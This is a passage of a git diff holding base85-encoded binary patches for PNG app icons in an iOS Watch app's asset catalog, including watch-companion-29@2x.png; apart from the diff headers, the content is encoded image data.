z`1u9gZ1b#ySAeux@z_ZBhJVhfC*SW=eX;I49ui|)V;nNeibKh$j)5uxr|F`xdnDAm zRvc7s_|uoB2DQZLSy>yUl;k%%LwxQ}12fwvn_i$mTwL}TRA@3A2`6S#pLQR>5=F+} zAfL5|FCC^U&)c=!ajc%tj#7`#x8M=gTjR&Y=+zmmZ~2mhh$80Yzh!ZlLs{mrJWwyKfv`*8H1Ms|(!9A2Mg z?cnAv6km)8W{nZb$qlWoVX*a7Pm zd2ulsCJv65Zt!4uWgnQK`|?N#r5+NN0urw7{~VT(bp+9Fc%axX?hE8y^J52e^_4&f z#myF9Z?b8}-6jwSaoKJd z2V&%3u^4!#Je&=iOk&@8!`AK1M0rI(;;NKt>Gz!?j0zhcANRW!eoQi3WMoDe?KrK1 z2PA&bOH=)Rd=0X)RYk%%ihN$%=1OIY;$jof+>}pvbCgSJgewjdZO{DXnMj)LqjP*x zgjRq6CnE(7Vsz(>UjrIv)@%?ei;}n=j)SX~Tn!)MkWzHgApWIm-5Q$&;D*;UbMRuC zj^elnx0&uPNRyNA8qYTdTb+&etY5f|b6ke6bA%ZTo0v?@ZbPc$Q70;z!14DI%R7q;w`{GcdB&F|kX$rMfsr;umaZYSam+~!|}cuYk1 zgJXE?qj!##01JG?cY@H4qHO`BUxJ^J--QPB1O(V8(__$P>Y0}0B$@$?M_o%5<7#m_Rn2hKaHAe0VjAceXsE+Y(fi-| z@9!XXLdLR+=&2H1S)5TrEK5Q-Hwy3NzOEBEB)v?x$J{3@aZN_|KM+}MR_jWH^8)3{ zkmktn$Yk1!2mU)f1N70`BIQ}K*E+1$6r@OiAQI~FHv)3IzR=ob1KOo!!|lyp9O83o zhx}GKsJ~c1Ja;5)C^I`NcAYyn{(y*NQ0Fp^B{}P*3;I_CaBUuI<%L>)`yieY?R_~E zJusutI3ktPjAwtzp(Pu+$3eRi5$&bS1LeQy1ahX=Xyf3w)_!J1uOr422w-BAkSHzS z3v0{R_0xK}&C$`$M{zcR9~efNk~DDFVi$81`kF>0bTtPoO!n&32clq2((pTwj4`Jv zN^?Pp&;U=xq$Mu*dvq(ZokeO$33(%Q1QS332{q+&WLR16$eYk8jGhZ%SZ0l>09&_? zE+!dj@o)oOSCjkv#oEFmlixC`v@0yDi;lX&sI22D5r8S-7Dq$j*>jSdsI zB4K0nYs;Pc%vu#wgZyQ7M5K;@qd&QL>$WZ+?qTEMpD?l#Lgg`TdNT%JPHvO3!AzU9 zUAA}8nVTaj2+V8*fCQa~?Qt9U6VN;H@h&BZcmqF~Wu_Z9z9kre!*`EE_3?1f_l;{3 z!qP{EijIaaw>5V=R5N%u5}o>W9v-fAwEo=4hC^_r!L z*;q8BPmz$r#h9aURs}w#l~61I9uMq85;k8pdP6<>ZAms1+NXrZnu{SRemm|v?acGn z8T(7@1X|(25f;DjB?D&IK6|a1a(4Y)IMU>|QERaWh` z(;t9Icer(z1Tp)#=ouQGeOl@EHz&WgT!T}he(=8#ZBi1VN9KUbVDw&WbP~vO-ZJfY zknm3N2k-1XYq^^P9t`B6{tAiUzt!;jyG#A(XctXflA`>PZ(RiB_(w`YCOPx- z&UW)(Cw4`}Y`ik*&q}e&#v5Lv|tfJ^D8*RXuH@w1@q-ZdN0`>g?Ha1mVuB6~S*fxcLfB*<>aX@AJxK03ZDsNS4 zIe9b4p$;*KW1_NCUow`q>3_1or1tEume4Z! z&wvV<;&BE^XfXs;SwhWymEL=znwN|W|GcA2)7ZZb%ec6gw+gi$$l1RSG94y}@P9Ln zX!D1YgowT7Pr@}$s|g_b`2{y0AksS^#TZn8RzZV@YH;6LccQ@9{Q>wZi8(468I(kG zTDNKj8q1!esg%HcM?!p|lK1Pr+B-5yymI{F2}j+k>*V#OC*#MSmB4&*RXRb$=c-}- zcdPz<8cmdYO6a_;vh8n}!NHoS-3Ig|G0bP<$uElF^tDKF+GV9WoIKVg>=o{M(Ce|w z)=HFoQ{%9pDk_G15s}4(VEH~_$1%cVfgv-SL5SkWLm@LWK)TB}A{iVOS=@?)=yT>U zg3U!Obb=XNO7}3lT;KMf4TWdKBUGh^5ux6rKw(8=@F&c%P=cUV9^jPsXzCe7hwMWKRY*#SN=B(X~P$*e59)b;zsC}7uy{wP8|C%G0nhqeD@YE)~qZC%2g-M&;wGKmkgO32En3 z1P(~fStWJRUPs;ah|bqSv37g2Rk_`v25{^}PFrbxhki@~*2i=Sta%X`y( zk=3~O5)zIV4JQkWi|RSorwdLJI8;Jtm3v-SO^yzgnBHf===vFT=Tb`aPeEV%q?>0f zdpcFd_mY`i(zg6^Ljr18VaMQTCD|omFeq;|-gJ3k2tQb8*1sF zJ759UV$TRlPGx01H**`<3xz>EH^&o6S8lY`;LL-<-7hURArZL4B4(>S_QblJ&Lw>W#VA5=0DbRAbzx!+cMeg*k>vyE zz5dI6f1(4pB_9m3R1UNPpB6a|`vAFGx z!$6~=L2LZLaEu;j%3;;wN5#pL{`9$frknrDPWZM9>U30r1L8BnuOv7NaVQV@Uojcg zuom(*xD=0;BtbV#nY>R~hZzkm#Jjptt=G@z@;iP!Lvp8Z1vn7O(Rsn62qk?6xxO%8 z4l7&LZwXl)*kLG&!Eaa-z4yb>!enG|1wOOCTO494PUN?9TJMO9`mVzvd91^9kPm^B zQT|YtWyHO@kF@`>=eIh98A#R}5`31$D^_G`*U_2rr(gewVugjrQ_9=`pd2N)_mY=c zYDL?$l`#j%D;U;_Ebu*PtK#|ZUDTCw={BFixIqHW1)?+35hjL_q*Iw)nN_}mp0MQP zI!H6?GIRVa3I))6(N6-Okz4!&sWnvqs-Il3KL)`ryjVocaHRRV*M@Uo(Gt6VmsG6p zb69S7%nu1*oU91bb@vKD9cS=vslIA@&${2zCnnm5mQWXghETAWHRmdcVbIuj(f+SUbhJ1$$^v za8Lp{X~_HE-t1VS;2H#1*W?i{ywS0~5U6qc7t?O~37E4#>K}5+fgN}SSAEci9Uro- zcZC@aMt^}q@R6Zm zg*e6y78AK}RLKONCY3~GN4k1%wVWPKd}YbxQj=W4_SjvCnA9fC*`e!^j{UIH?uB;P z(%POaH5C5KZgXS#o*-h26xQDe>hu~+TtqwqjWL&*kwN^F+t~$VOQkjYhU~zRE%ce- zhj6WB1Y$}4deLG&#`y&{v_km&UA=qBC3v8-EM!8*lw)gIhQ;qERF+PLe1%s8Vyvgm zF9T~nHG1c6K_V}XTqV=0#L<$2f2CVI28#l*zQ}-)+4jvSQgw5mpfAf>TdgApS%^n^ z+^dgNm*wj%n5b@+W(R>e}`7-u#!#+WCm`FiZP`B^6zGYi^XD9!1gWD8V$=iD6!+3q) z;?k_tlQ(qb4lJX)3B}9=+hLp;3pVb*t*4OvjT|u}7!1oD@UW`rwI2Tf23|MB7VSXE z)qss6;RekKNCEFlMDg|QicZTpf7Cw62@PWFJsY;8DmE&DLfQ`+KEZwIDd^WEb3aE% z*{DkQ>up!C8#2It^gH{K+51H>yTKK(gKTsm@Gp#dY79C2&GuN-Iu`Iq`*yr9?fxEG#>^JI)W zhg)&jonkCY25DLc=Oy~q)9ST8?&DsE)X%GSPX=5TH@VNo41?0gYlE0}D6r-bqF2oC zU8JZvCZjhND>MzS2Mlz=f5gq3^tpOq3E?e=pHTnq!wS~nqOxTFmXfL z(6<6DVzq~#jpoKgh=kqMFWE8@d-WmG;dDRWGl|oC!m+W|Z+orH;oCwv5^+^0-K6&R zpE*lEV+`k3NRFI{aJx(w4EaEKkeAap+nJkAdV z1C(`AhQ4{uaEd1RP4eYCcgv5@?s#O?+xoi%Mabd}8JW7WGu;fPs}pwL2Qj6eyzVP& z^IX;1e%k@_tnIzZ1xX9)sj1%?650Fk8?*Sj;_I5pE)z7l2m_4t_QX)=({Z$vGjUs; zw26(I5o6Up$k;mqY2gizsD%pTjpR9oh8u+Q`m|0BLXAE3*o3GrPqa#A9bq$_27;JU z_KLRabgEgE`qgBP6?j+lh-$BD%IBNrjgvGD_)13RD&z(QcJx3qu_K+SYi~`M{Bz5% z?a3gvq_Gg9#bwV3dP>aSJ=eplMe1o$O&sN3mIpznKlt5;H<^^o`_>7q~c(@VjWYtx`Nl@(;kh1|!jw(S$;f;(j~ zOWI846Fn8vCUDCwazna9)l+0;ZCc+>e7x`fOCEh2d;!&E< zED1d%B&*xP2v=)CE_wYNS&vd_i4$u;%?qBb+_N^`c#3oI;=C8m)8*;Ba1#)VHMXZo zkN6(q8yyvil|?Q8RlD>001|X`#2S_fAwI?D^Q&W8>H|0W^Xm8chV`uZHLrVp7=4nI z-1i5$L$48{2tqU$GxQu}X=dNBbhm{qDbdsWz(c9+B3~4sy4-d^EI+)^ozN`%%;0`_ z0R1Z5*9cf5uKXu2kt2#3n$DgwEGZS;sVG}+-Jcu^=dbN6vl9_9-V7xB=uGiP5Y2;0 zppZnncqj69L^-h^5okCx({{69o`U^arclOlD0E#T6xow$NKd61Vb>ZvZ#rVS)}Ag+URn$+mp)-i&_RD^(0Xw~sBQ~~9kJsOsjx20R57XmbM=yG{#684&(zt7y zG6z!c>&e71EDX0ZFZN=CdudFEhrMCsQloQ30!njuC2rG)W6&p`CsS!QN0cqC>JmqV z6mC!tNELqVwJly%55hlgUL~#Gug6R)gv1g%_({ zRa7Y$R0zuKEctKu2`*)5Z%K~!&3yE#8L`H9hU<)Zs_F}}1 zeXqkYT(N@#0n(h?BHxCEZzz*^2co&^)s0mgjC-|Zh%)*vg|c#4_Md*U$zUFz;N(rA zBna|}TJo%b7hmIgT+{8R#RR_}AQ3Cvsi_nG<=Yb}RnO14 ziN5n3il~0^x$87k>Vl|5DeO_V|3Ih69O+-{_o5i8=|69AVBVjcM|eAnozvV-GroJ` z1E{Sf9?Qy@eaTpuiG$8(y&1`h0et~*E q^6|^x!n`i4z5IV_w`%Si@`r9km9&K|#ebiWU@{Uw@fuOXp#KA-BzqMA diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@2x.png index f8be7d06911e9d8564e96c194fa78ccdf49d71e9..be6c01e95d3b2e9da2e940a623cf9a5bc761ae98 100644 GIT binary patch literal 3851 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 literal 5032 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 